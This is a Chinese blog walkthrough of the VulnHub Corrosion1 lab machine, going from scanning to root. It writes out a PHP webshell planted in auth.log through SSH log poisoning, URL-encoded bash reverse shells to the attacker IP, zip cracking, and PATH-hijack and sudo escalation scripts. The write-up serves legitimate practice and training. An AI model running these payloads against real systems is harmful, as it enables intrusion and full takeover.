当前位置: 首页 > article >正文

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 启动靶机环境
  • 二、 渗透靶场
    • 1. 确认靶机
    • 2. 探测主机开放端口及对应服务
    • 3.探测网站目录结构
    • 4. 任意文件读取
    • 5. 反弹shell
    • 6. 权限提升
      • 6.1 SUID和环境变量劫持提权
      • 6.2 sudo提权
  • 相关资源

一、靶场搭建

1. 靶场描述

Difficulty: Easy
A easy box for beginners, but not too easy. Good Luck.
Hint: Enumerate Property.

在描述提示了这个靶场渗透过程要使用大量枚举属性,猜测需要进行大量爆破。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 启动靶机环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行。具体操作步骤可以看我之前的文章,这里就不要截图详细介绍了。搭建完成之后显示如下。

image.png

二、 渗透靶场

1. 确认靶机

确定靶机的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
nmap -sn 192.168.37.22/24

image.png

排除到已知ip的机器之后,确认靶机的的ip为192.168.37.129

2. 探测主机开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# ip 指定为靶机ip
nmap -Ap 1-6555 192.168.37.129

image.png

确定靶机开放了22、80端口,对应为ssh远程服务和web服务,打开对应web界面。

image.png

3.探测网站目录结构

按照靶机作者枚举的提示,本次使用dirsearch工具进行扫描,指定指定为kali自带/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt的字典。

sudo dirsearch -u http://192.168.37.129 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e 404

image.png

探测到tasks目录,打开路径发现一个代做任务文本,查看文件内容,可以推断出这个系统中存在一个认证日志。先记录下来,后续可能能够进行利用。

image.png

探测到/blog-posturl路径,打开发现没什么内容,blog-post下猜测存在子目录,进行使用dirsearch进行目录结构扫描。发现额外两个子路径blog-post/archives,blog-post/uploads,分别打开。

sudo dirsearch -u http://192.168.37.129/blog-post

image.png

4. 任意文件读取

blog-post/archives路径下发现了一个php文件,点击之后页面上没有任何内容显示,感觉像是文件包含之类的利用点。使用fuffz进行测试

image.png

# 模糊测试探测
wfuzz -u "http://192.168.37.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/wfuzz/general/big.txt

image.png

发现存在file参数,利用这个php文件可以实现任意文件读取,但这个文件是否通过php的include函数进行文件导入的现在还未知。 如果通过Include导入就能上传php一段话木马获取反弹shell了。验证的思路就是找一段php代码进行验证(我们知道逻辑的)。

5. 反弹shell

通过前面代办任务文件,里面提示存在一个auth日志,现在可以先查看一下这个文件的内容。发现记录的是shh登录用户的日志,这说明可以通过ssh的方式控制这个文件内容,如果能让用户名为一段话php木马那么就能验证randylogs.php 是否通过include导入文件的。

image.png

直接执行ssh将用户名命名成一段php木马,这段代码会记录在auth.log登录日志作为登录用户名。但是执行过程中被ssh的用户名规则给拦截了。

ssh '<?php system($_REQUEST['x']);?>'@192.168.37.129

image.png

既然这个命令是被kali自带的ssh应用拦截了,转而想到使用之前ssh爆破时候使用hydra程序进行ssh登录,应该能绕过用户名限制。构建字典如下。简单介绍一下这段php文件的含义:接受GET请求x参数内容,然后在主机上执行。

image.png

hydra -C ./ssh_c.txt ssh://192.168.37.129 

发现执行成功,这说明auth.log上面已经包含这段php代码,这时候我们传递x参数为ls -l观察页面输出就能判断出是否是php include 远程代码执行漏洞。通过查看返回的文本内容,确实可以执行,randylogs.php 确实是通过include或类似函数导入文件内容的。

# 将x参数设置 ls -l / 观察显示内容
http://192.168.37.129/blog-post/archives/randylogs.php?file=/var/log/auth.log&x=ls%20-l%20/

image.png

通过刚才上传的一句话木马,可以利用获取到反弹shell。这里需要注意到一点,进行反弹shell的命令需要通过url编码,不然执行不了。url在线编码网站点击访问

# x的原文为 "/bin/bash -c 'bash -i >& /dev/tcp/192.168.37.22/8888 0>&1'"
http://192.168.37.129/blog-post/archives/randylogs.php?file=/var/log/auth.log&x=%22%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.37.22%2F8888%200%3E%261%27%22
# 在kali上执行
nc -lvp 8888

image.png

成功获取到反弹 shell。

6. 权限提升

反弹shell之后一般执行以下这段python代码,创建一个交互式的伪终端。

python3 -c 'import pty; pty.spawn("/bin/bash")'

接下来找寻可以提权的方式,具体可以关注以下几个方面,SUID提权sudo提权定时任务提权/etc/passwd文件提权。如果以上这些方法都没有成功,查看主机中一些备份文件或者用户家目录是不是有敏感信息。

# 找寻具有suid标志的文件
find / -perm -u=s -type f 2>>/dev/null
# 查看是否有可利用sudo提权的命令
sudo -l

通过使用suid和sudo发现没有可利用提权的方式,接下来可以开始找寻系统中是否存在一些敏感文件,比如密码等。

# 找寻备份相关的文件或文件夹
find / -name "*backups*" 2>>/dev/null

找到一个系统备份的文件夹,进入里面发现存在用户的备份文件。意识到这其中存在敏感信息,想法将文件传递kali本机。

image.png

# 通过python快速搭建 web服务进行消息传递
python3 -m "http.server" 9090

kali直接通过 wget http://192.168.37.129:9090/user_backup.zip进行下载,下载完成之后,尝试解压发现需要配置了密码,使用暴力枚举的方式进行密码破解。

# -p指定字典, -D表示后台执行
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip 

成功暴力接触zip文件的密码,密码为!randybaby.,接下来通过unzip user_backup.zip进行解压文件,解压完成之后发现保存ras公钥和私钥以及密码文件。

image.png

image.png

结合靶机上/home目录下只有一个randy目录,推测这些文件全是randy用户的备份文件,密码也是明文保存,可以直接ssh登录randy用户了。

image.png

image.png

成功获取到randy身份的shell环境。接下来找寻可供提权的地方。依次执行以下命令

# 找寻具有suid标志的文件
find / -perm -u=s -type f 2>>/dev/null
# 查看是否有可利用sudo提权的命令
sudo -l

6.1 SUID和环境变量劫持提权

通过找寻具有suid文件的命令发现一个sandy的家目录下有一个文件,创建者为root并且具备SUID标志。查看之后发现easysysinfo是编译过的文件,这时候想到之前用户备份文件夹中有一个easysysinfo.c文件,推测是由那个c文件编译而来,先查看c文件的内容。

image.png

image.png

发现其中的cat没有使用绝对路径,意味着执行cat的时候回去环境变量里面寻找对应的应用程序执行,利用这一点,可以伪造一个恶意的cat,并将其放到环境变量的最前方(操作系统找寻应用程序从环境变量找是从前到后)。接下来开始伪造cat并实现环境变量劫持。

# 给/bin/bash添加suid标志,完成之后所有人执行/bin/bash都会获取root(文件所有者)身份
echo 'chmod +s /bin/bash' > cat
chmod 777 cat
# 环境变量劫持
export PATH=/home/randy/tools:$PATH
./easysysinfo
# -p 忽略一些环境变量的影响
/bin/bash -p

image.png

成功获取到root的权限,接下来就能直接拿到flag内容了。

image.png

6.2 sudo提权

执行完sudo -l发现,easysysinfo可以无密码的方式以root身份执行。利用可以构造一个恶意的easysysinfo文件,这次通过一个恶意的反弹shell来提权。

image.png

# 将之前的文件重命名
mv easysysinfo easysysinfo1
vi easysysinfo
chmod +x easysysinfo
sudo /home/randy/tools/easysysinfo
# 恶意easysysinfo内容
#!/bin/bash
# 设置反弹的目标IP和端口
TARGET_IP="192.168.37.22"
TARGET_PORT="8888"
# 反弹 shell
bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1
# kali监听反弹shell
nc -lvp 8888

image.png

成功获取到root身份的反弹shell,接下来可以获取到最终的flag文件。

image.png

相关资源

1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)
3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)
5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)
6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)
7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)
8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)
9、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程)
10、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程)


http://www.kler.cn/a/378487.html

相关文章:

  • C# 中 发送HTTP请求 实现Ajax功能
  • Elasticsearch 实战应用详解!
  • 面试题:JVM(二)
  • 【MIT-OS6.S081笔记1】xv6环境搭建
  • c语言动态内存 :经典例题
  • Linux - grep的正则用法
  • 基于Spring Boot + Vue的气象智慧监测系统设计与实现
  • python读word中的表格和插入表格
  • 电子电气架构 --- Trace 32(劳特巴赫)多核系统的调试
  • Freertos学习日志(1)-基础知识
  • 11.1组会汇报-基于区块链的安全多方计算研究现状与展望
  • 【原创分享】详述中间件的前世今生
  • .Net Framework里演示怎么样使用StringBuilder、Math.Min和String.Format
  • c# 实现文件更新通知
  • JavaEE-多线程初阶(1)
  • MySQL-基础汇总
  • 知识见闻 - Workday公司介绍
  • springboot 基于google 缓存,实现防重复提交
  • 掌握ElasticSearch(六):分析过程
  • linux当中用到的系统调用和库函数
  • elementUI tabs 吸顶功能实现,拉到最底部时候点击tab 回到最初位置
  • 【若依框架】代码生成详细教程,15分钟搭建Springboot+Vue3前后端分离项目,基于Mysql8数据库和Redis5,管理后台前端基于Vue3和Element Plus,开发小程序数据后台
  • C++/list
  • 模型 康威定律(沟通VS技术架构)
  • 【Redis实践】使用zset实现实时排行榜以及一些优化思考
  • 深搜 笔记